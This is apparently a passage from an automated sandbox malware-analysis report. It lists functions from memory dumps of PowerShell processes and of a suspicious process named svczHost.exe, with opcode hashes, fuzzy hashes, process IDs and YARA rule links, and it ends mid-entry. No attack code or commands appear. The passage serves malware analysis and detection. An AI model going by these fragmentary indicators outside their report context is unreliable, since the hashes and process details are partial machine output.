Instruction Fuzzy Hash: E2D05E11F25D1A0BA69AA73C041837D50C2DFD871175C41B6841DC36F9CD189C060341

Function 00007FFE7B0D06B2 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.474942328614.00007FFE7B0D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7B0D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffe7b0d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 817ae0dddfa3f389ed91847a5f92f63c2ab4a9d560164d640f2bedc79da0846c
Instruction ID: 32ce5eac499adb3b872b14a0fd91516e3372d85fa040734272376f620d4dc9a5
Opcode Fuzzy Hash: 817ae0dddfa3f389ed91847a5f92f63c2ab4a9d560164d640f2bedc79da0846c
Instruction Fuzzy Hash: 51C08C01E0D8AE06A6B0B66C3C015FC04C0AF09A20B0C00F2E81CD23A7DC1CAE8202C1

Analysis Process: powershell.exePID: 8, Parent PID: 8860COMMON

Executed Functions

Function 00007FFE7A87EBF5 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.474821627915.00007FFE7A87D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A87D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffe7a87d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 174406c510f95b4072ad9c1de4b8f896e2e2b61a05f528d14c01c2ce78f261d5
Instruction ID: 33a9520b4a52d44e80f9f10422f2c1c1d42de36537d945b9e6d3134279385d54
Opcode Fuzzy Hash: 174406c510f95b4072ad9c1de4b8f896e2e2b61a05f528d14c01c2ce78f261d5
Instruction Fuzzy Hash: AC118F3151CF088F9B68EF1DE4859667BE1FB98320B10066FE45DC7665D735E882CB81

Function 00007FFE7A993C85 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.474822616329.00007FFE7A990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffe7a990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b35656b12636574601db96b8d8a93e12987c10d4fb91529eca54e9238414cb75
Instruction ID: aac19e19de919368e634aac87553925ca629598d1e7f4cc819595fad2ea6bd2d
Opcode Fuzzy Hash: b35656b12636574601db96b8d8a93e12987c10d4fb91529eca54e9238414cb75
Instruction Fuzzy Hash: C901A73121CB0C4FD748EF0CE051AA6B3E0FB89324F10056EE58AC3661D636E881CB42

Function 00007FFE7A87EC99 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.474821627915.00007FFE7A87D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A87D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffe7a87d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ccd47d5249e3f5c5143068cd8851f9559244cebaec6e51dc4f0fc4e07d91d45
Instruction ID: f0f9487dda6fff67afd964b0dfc88af166cd0d0aeaa2220b9b99a2ff1493d1d6
Opcode Fuzzy Hash: 9ccd47d5249e3f5c5143068cd8851f9559244cebaec6e51dc4f0fc4e07d91d45
Instruction Fuzzy Hash: 3CF0DA35628E09CFDBA4EF1DC485D2277E1FB98710B210999D45EC7265D734F891CB81

Analysis Process: powershell.exePID: 6008, Parent PID: 8480COMMON

Executed Functions

Function 00007FFE7A973ED5 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.476018553863.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eac02ef4239b90babd84bbdd601f9f94b781bbf8eb870dcaec1c83dbde263083
Instruction ID: af565c191c160b754dedc3b84937adb37c158ced283d9b671136b13c6bb0e4a1
Opcode Fuzzy Hash: eac02ef4239b90babd84bbdd601f9f94b781bbf8eb870dcaec1c83dbde263083
Instruction Fuzzy Hash: C0215E31A1895D8FDF98EF18D485EEDB7A1FF68700F1401A9D409D72A2CA24E881CBC1

Function 00007FFE7A85EE95 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.476008796436.00007FFE7A85D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A85D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffe7a85d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b699a9806766d6b193d7a43889090221f5938aaa787de82b4400bfdc37ec769
Instruction ID: 6be398af25480a57dd4a6862910ff9487675adbea3ab4b8695b4a9c53d4b0c59
Opcode Fuzzy Hash: 2b699a9806766d6b193d7a43889090221f5938aaa787de82b4400bfdc37ec769
Instruction Fuzzy Hash: B511B27150CF088FA758EF1DE44595277E1FB98320B1006AFD459C7265DB30E881CB81

Function 00007FFE7A974BF5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.476018553863.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4c9b0369103cf4f2f68f74a09074ec17fea46965c4a9d874987b739fde3fa20
Instruction ID: 615e36f39d97934b8838f82aa34958a7c3e03ed871c070d124f57ed8e58c67bf
Opcode Fuzzy Hash: e4c9b0369103cf4f2f68f74a09074ec17fea46965c4a9d874987b739fde3fa20
Instruction Fuzzy Hash: 7F01843121CB0C4FD748EF0CE451AA5B3E0FB85324F10056EE58AC3662D626E881CB42

Function 00007FFE7AE84634 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.476098704396.00007FFE7AE80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7AE80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffe7ae80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 479a482e2a320a48b6d50a106c132720704f198e32834bf0797fd0b7319c2292
Instruction ID: b78cab87bd790767e94f9d4746f5db1ecdba99c1d4c2a393f41ba3855b17acab
Opcode Fuzzy Hash: 479a482e2a320a48b6d50a106c132720704f198e32834bf0797fd0b7319c2292
Instruction Fuzzy Hash: 40F0A73131CF044FD744EE1CD845661B3E0FBA8311F10462FE44AC3251DA25E4818782

Function 00007FFE7AE83482 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.476098704396.00007FFE7AE80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7AE80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffe7ae80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe951e5c3748298e479e7e71fe6a650eb8e827dc511791eedbc8d1e06d196d93
Instruction ID: eab6827bb6c7056e939b2c441ed14542cc7bfe2db27801edfcf2b02c762ad600
Opcode Fuzzy Hash: fe951e5c3748298e479e7e71fe6a650eb8e827dc511791eedbc8d1e06d196d93
Instruction Fuzzy Hash: 7FE09A33F0C51A8EA348B608F8464FCB3E1EB44631B2419B7E11ED3873EA2268924680

Function 00007FFE7AE82706 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.476098704396.00007FFE7AE80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7AE80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffe7ae80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88447c2d8c5a671c2ea69ef570149ff53b641b20369f99fa16bf5011f28a7394
Instruction ID: 54cc1ee1c1f8fe8c892de3a1c960a91efbf373936b01522e2a32ab1ba6044be3
Opcode Fuzzy Hash: 88447c2d8c5a671c2ea69ef570149ff53b641b20369f99fa16bf5011f28a7394
Instruction Fuzzy Hash: DED05E33B08C2C0FEB95A28C68093FAB2D1EBD8639B585177C41DD36A4CA118C2103C4

Function 00007FFE7A9769BD Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.476018553863.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0140d1757ad8c55eea040e2c91e1034b7594f98b5d9144071f985b0fe872fc0
Instruction ID: fd60a6c6ab27519d7dbb2a61dc0a007462fce80fcec132baa5fbffa4fdab67f1
Opcode Fuzzy Hash: f0140d1757ad8c55eea040e2c91e1034b7594f98b5d9144071f985b0fe872fc0
Instruction Fuzzy Hash: B8C08C33B2C6286C77486148B8034FC7380EB81631B101177D25FC1872EA07703705DA

Non-executed Functions

Function 00007FFE7A975F68 Relevance: 5.1, Strings: 4, Instructions: 97COMMON

Download Yara Rule

Strings

!+, xrefs: 00007FFE7A975FFE
#, xrefs: 00007FFE7A976006
T_^, xrefs: 00007FFE7A975F71
"3, xrefs: 00007FFE7A975FF6

Memory Dump Source

Source File: 0000000F.00000002.476018553863.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID: #$!+$"3$T_^
API String ID: 0-4110927915
Opcode ID: 426b0aab3ce96d13baf0a7d6217db6becf31e8b3aeb7328ca2beddb9aac609e3
Instruction ID: 4377f2b01f3c58bf753d29448861669a24001d4224a18ad6aab423da6cb13af9
Opcode Fuzzy Hash: 426b0aab3ce96d13baf0a7d6217db6becf31e8b3aeb7328ca2beddb9aac609e3
Instruction Fuzzy Hash: 0A11E907B25A321995003DBDFC835FE33ECCBD96B37080133E649C62A6B946754A42F6

Analysis Process: svczHost.exePID: 9472, Parent PID: 1368COMMON

Non-executed Functions

Function 00007FF69957BFE0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF69957C00C
GetCurrentThreadId.KERNEL32 ref: 00007FF69957C01A
GetCurrentProcessId.KERNEL32 ref: 00007FF69957C026
QueryPerformanceCounter.KERNEL32 ref: 00007FF69957C036

Memory Dump Source

Source File: 00000018.00000002.476278394889.00007FF6994C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6994C0000, based on PE: true

Associated: 00000018.00000002.476278323030.00007FF6994C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000018.00000002.476279916819.00007FF699940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000018.00000002.476280435269.00007FF699AB2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000018.00000002.476280435269.00007FF699BC8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000018.00000002.476280435269.00007FF699BCB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000018.00000002.476281600073.00007FF699DD7000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000018.00000002.476281657132.00007FF699DD8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000018.00000002.476281657132.00007FF699DF1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000018.00000002.476281657132.00007FF699DF4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000018.00000002.476281657132.00007FF699DF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000018.00000002.476281969072.00007FF699DF9000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6994c0000_svczHost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 8dc9797bf68c6e5250aa19576460b601b27d2e6d7739833455c1b921422f380a
Instruction ID: 5dd5e51a186916317c35194733e4c8fb9ebc1c0c67a7df93786eddcb32848e2d
Opcode Fuzzy Hash: 8dc9797bf68c6e5250aa19576460b601b27d2e6d7739833455c1b921422f380a
Instruction Fuzzy Hash: 03113C26B54F058AEF10CF60E8542B933B4FB59768F441E32DE6D86BA4DF78D1988740

Analysis Process: powershell.exePID: 9636, Parent PID: 9472COMMON

Executed Functions

Function 00007FFE7A9779E3 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.475621950433.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d70c6610e63af161056904cad8c4b8b264a375f646eb1200cc01cd440eed66a
Instruction ID: 3688f8edddbfdf2886b3504c90881ea3571ddb3bdb89f49f1310f971470cd620
Opcode Fuzzy Hash: 8d70c6610e63af161056904cad8c4b8b264a375f646eb1200cc01cd440eed66a
Instruction Fuzzy Hash: 5461A030618A4A8FEBA8DF28D8457F977D1FF58310F14426EE85DC32A1CB38D9558B82

Function 00007FFE7A978260 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.475621950433.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99bc9540412a27559e4d78806e9ba24c7d7e8b561e42e468a75d4cf6d21a2657
Instruction ID: bd80c8b204164f38147e0a66c598b2a26db7b8213a9f15f176d3a2f6a40183f4
Opcode Fuzzy Hash: 99bc9540412a27559e4d78806e9ba24c7d7e8b561e42e468a75d4cf6d21a2657
Instruction Fuzzy Hash: B6519430618A494FEBA8DF28D8557F977D1FB54701F04826ED85DC36A5CF38A9908B82

Function 00007FFE7A977C64 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.475621950433.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a0694e298ca9d5d693dccdc50ac7b55e7f3e31b433f9190e7a354869049f3ca
Instruction ID: ba5d21ec2db852542aa03ec95292ef05e2f45ae213c132c1261b64402d374698
Opcode Fuzzy Hash: 2a0694e298ca9d5d693dccdc50ac7b55e7f3e31b433f9190e7a354869049f3ca
Instruction Fuzzy Hash: B7313C31A2864E8EFBB49F18DC0ABF832D1FF45715F400579D41DC61B2CA38A9A5CE21

Function 00007FFE7A978886 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.475621950433.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 725e9dd0481739084127e02e248922715eef434c9a4bd53d5b4a588027e11e10
Instruction ID: 16299ca5b4e9337a8dd0d196d7562aab25dd10bc00b4c469c8975cb155f51917
Opcode Fuzzy Hash: 725e9dd0481739084127e02e248922715eef434c9a4bd53d5b4a588027e11e10
Instruction Fuzzy Hash: 0B316D30518B8C8FEB65DF28C885BD97BE1FB98710F14826ED84DC7265CB78A545CB82

Function 00007FFE7A978844 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.475621950433.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13e8d4c2d18908e61b44e7f8a8c4523a7fa123ca2756ec904a9254383c8e9272
Instruction ID: 78a622fd1d871f695d85b9e0af23bf803e04837c32dfab470be0ac55dbf5d9be
Opcode Fuzzy Hash: 13e8d4c2d18908e61b44e7f8a8c4523a7fa123ca2756ec904a9254383c8e9272
Instruction Fuzzy Hash: 79313030518A4D8FEB64DF18C885BD97BE1FB98710F54836AE84DC7265CB74A544CB82

Function 00007FFE7A9733B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.475621950433.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57c11ce672fc823662bc6f3962b845d271132ab30cff6bab67f57ef27f0157e5
Instruction ID: aed4a32bba28b456d8ad68d77f878f7e364326d7395d0db2490c50b853fe093a
Opcode Fuzzy Hash: 57c11ce672fc823662bc6f3962b845d271132ab30cff6bab67f57ef27f0157e5
Instruction Fuzzy Hash: 5A01A73121CB0D4FD748EF0CE051AB6B3E0FB85324F10056EE58AC36A1DA36E882CB42

Function 00007FFE7A978979 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001C.00000002.475621950433.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82604ddc8817260146c8f1dcbc17ba4c0f96fccec4f80798ff61dfa7c9c250cf
Instruction ID: ac43fd371facef87d115bd19e7484a2235c9a1ce9ea3f7e5a98853772ba9c500
Opcode Fuzzy Hash: 82604ddc8817260146c8f1dcbc17ba4c0f96fccec4f80798ff61dfa7c9c250cf
Instruction Fuzzy Hash: 4DF0D13270CA4D8EDF94EF28A8516FC7791EF46320F444666E80CC35A3CA26A841C781

Analysis Process: powershell.exePID: 9804, Parent PID: 9472COMMON

Executed Functions

Function 00007FFE7A976E58 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

@, xrefs: 00007FFE7A976FCE

Memory Dump Source

Source File: 00000020.00000002.475616690988.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 46f30e3425a0a76cf42bb60ce558647c62607b9b444cc1fc80494251d52db250
Instruction ID: 6753655404c9cfee668918416520c2ea99674fb20a02d52f1900d95e0ffe6bb5
Opcode Fuzzy Hash: 46f30e3425a0a76cf42bb60ce558647c62607b9b444cc1fc80494251d52db250
Instruction Fuzzy Hash: 1A514932A1D7894FD715DA28AC555F97BE0FF42724F0402FDD0A9C71B2CA28B42287A2

Function 00007FFE7A976EDF Relevance: 1.4, Strings: 1, Instructions: 141COMMON

Download Yara Rule

Strings

@, xrefs: 00007FFE7A976FCE

Memory Dump Source

Source File: 00000020.00000002.475616690988.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 21da3eb1beaadb01f9007a30ae14e00b9b61bdee1f4806bef0baccf685c3872c
Instruction ID: d2044daf049f52b772fb067599985448851ebafeb8ea446d45c76e2e4617e658
Opcode Fuzzy Hash: 21da3eb1beaadb01f9007a30ae14e00b9b61bdee1f4806bef0baccf685c3872c
Instruction Fuzzy Hash: DA416B22D1C7E54FE715C62468516F87FE0AF52614F0806FDC5A9C71F2D929742AC3A2

Function 00007FFE7A976EF8 Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

@, xrefs: 00007FFE7A976FCE

Memory Dump Source

Source File: 00000020.00000002.475616690988.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: ba9fca463ac4829e5d52d29ca04f272f92510ca89f562dcba97a0fcbce8acde1
Instruction ID: 8f497732f98fcd12782fdfa35baf785e1310998ae2c59482480616ae76e6fda2
Opcode Fuzzy Hash: ba9fca463ac4829e5d52d29ca04f272f92510ca89f562dcba97a0fcbce8acde1
Instruction Fuzzy Hash: 97314C32D1C7994BE754C628A8916FC7BD0EF42724F1402FCC5A9D71F2CA2DA4268751

Function 00007FFE7A976F11 Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

@, xrefs: 00007FFE7A976FCE

Memory Dump Source

Source File: 00000020.00000002.475616690988.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: b7549ddece1a6ad23de65e7590e32d7a43abddeeedf4bf8a2de34e596f4fe336
Instruction ID: fcd2fc63049f55b12d3c1758040b4eb9b723a09a84f9e694e6c561fdb34664f3
Opcode Fuzzy Hash: b7549ddece1a6ad23de65e7590e32d7a43abddeeedf4bf8a2de34e596f4fe336
Instruction Fuzzy Hash: 47215C36D1C7994AE758CA18A8817FC77D0EF42714F0403FCC5A9931F2CA29B5268761

Function 00007FFE7A975B51 Relevance: 1.3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

Strings

x6G-, xrefs: 00007FFE7A975B87

Memory Dump Source

Source File: 00000020.00000002.475616690988.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID: x6G-
API String ID: 0-1439583226
Opcode ID: 1938ff6b71b57939fbd320a440a3730609f47b94cc23dcfa4ef685a9b0e4a979
Instruction ID: 31fbeea671588486cb33f0548044ac6cc541b8abf61a9ac9c2092d25caa4fadf
Opcode Fuzzy Hash: 1938ff6b71b57939fbd320a440a3730609f47b94cc23dcfa4ef685a9b0e4a979
Instruction Fuzzy Hash: 9001F76190EB855FD366967C585A2E67FE0DF5623030C46FBC089CB573DC1858868356

Function 00007FFE7A9752D8 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.475616690988.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69966d136410467415ad46bde5accae35702e8971274fc3708a66696a3ff0ce5
Instruction ID: b1e676d675fa10cbc47a6daf8c1dc444055a99a30805ec8d767e23c086d0b505
Opcode Fuzzy Hash: 69966d136410467415ad46bde5accae35702e8971274fc3708a66696a3ff0ce5
Instruction Fuzzy Hash: 6E510932F28A0E5BEFE8E63898156FD76D1EF55B10F5001B9D01ED35F2DE24A86187A0

Function 00007FFE7A975CDD Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.475616690988.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9342546a1f00448bd2db7ae7c96f9a2577279d0214e073ed0adfe2e334d211ef
Instruction ID: bf7ad5248287bf047335f8c3aa747511e26522c88d6d6827325ed2f143c07eb0
Opcode Fuzzy Hash: 9342546a1f00448bd2db7ae7c96f9a2577279d0214e073ed0adfe2e334d211ef
Instruction Fuzzy Hash: 2F51D732F2CA1E5BEFE8D63498556BD76D1EF54B00F5001B9C01ED35F2ED24A82587A1

Function 00007FFE7A976AA0 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.475616690988.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9deb3430e5f459e691b23bef736319760e8fbbc77ac25be631a5f15d9852a909
Instruction ID: 5fdefc67959187acc9cd92fa9824dde69c717890dafd825dc21ec95c48c45a5b
Opcode Fuzzy Hash: 9deb3430e5f459e691b23bef736319760e8fbbc77ac25be631a5f15d9852a909
Instruction Fuzzy Hash: BC2101319186488EEB29CF48D8407F9BBF0FF58300F0081AED01EA76B1DA745559CF51

Function 00007FFE7A976A76 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.475616690988.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c23882c71a5b4dfc0cf489459efa7bb0eb71635a91815a1b449d9b7b02f51be2
Instruction ID: 496429afc0f0edb928059ff120d5319cb87b9878474487b949daf808a45b6719
Opcode Fuzzy Hash: c23882c71a5b4dfc0cf489459efa7bb0eb71635a91815a1b449d9b7b02f51be2
Instruction Fuzzy Hash: D111A372918A0C8AE765DF58DC897E8B7F0FB68310F0083EAC00993231CA746995CF91

Function 00007FFE7A9733B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.475616690988.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57c11ce672fc823662bc6f3962b845d271132ab30cff6bab67f57ef27f0157e5
Instruction ID: aed4a32bba28b456d8ad68d77f878f7e364326d7395d0db2490c50b853fe093a
Opcode Fuzzy Hash: 57c11ce672fc823662bc6f3962b845d271132ab30cff6bab67f57ef27f0157e5
Instruction Fuzzy Hash: 5A01A73121CB0D4FD748EF0CE051AB6B3E0FB85324F10056EE58AC36A1DA36E882CB42

Function 00007FFE7A976ADD Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.475616690988.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd9b6d4c2bcf6d52cf0907a1fc3d2a0a9c38dc20c1b74e989a1868cf1a9c7b34
Instruction ID: c017e485d9fe9215b06f56e2c73802c2d889c6a4fe53a0420461d136ac19caaa
Opcode Fuzzy Hash: dd9b6d4c2bcf6d52cf0907a1fc3d2a0a9c38dc20c1b74e989a1868cf1a9c7b34
Instruction Fuzzy Hash: 2F115E71908A1C8BDB55DB48DC89BD9B3B1FB64711F1082D9C04EA7261CB74AAC5CF81

Function 00007FFE7A976DD2 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.475616690988.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f1137f4c9f3f1da7200cd0dea19653bf40bd094681c539f8ad367aabfceab5c
Instruction ID: b21b2e7c2e01a7409ca4cd71ba486c0828b6088e43a2b62d07c451d6f9f7bb37
Opcode Fuzzy Hash: 8f1137f4c9f3f1da7200cd0dea19653bf40bd094681c539f8ad367aabfceab5c
Instruction Fuzzy Hash: 99F01232618A5C4FDB94DB0CA8053F973D1FB48721F0405B6D51DE3261DE31AC254781

Function 00007FFE7A975BBD Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.475616690988.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8481292655c48ce4b8c9aba94b711c86548e11bd0c52ed525326e202feef0eb0
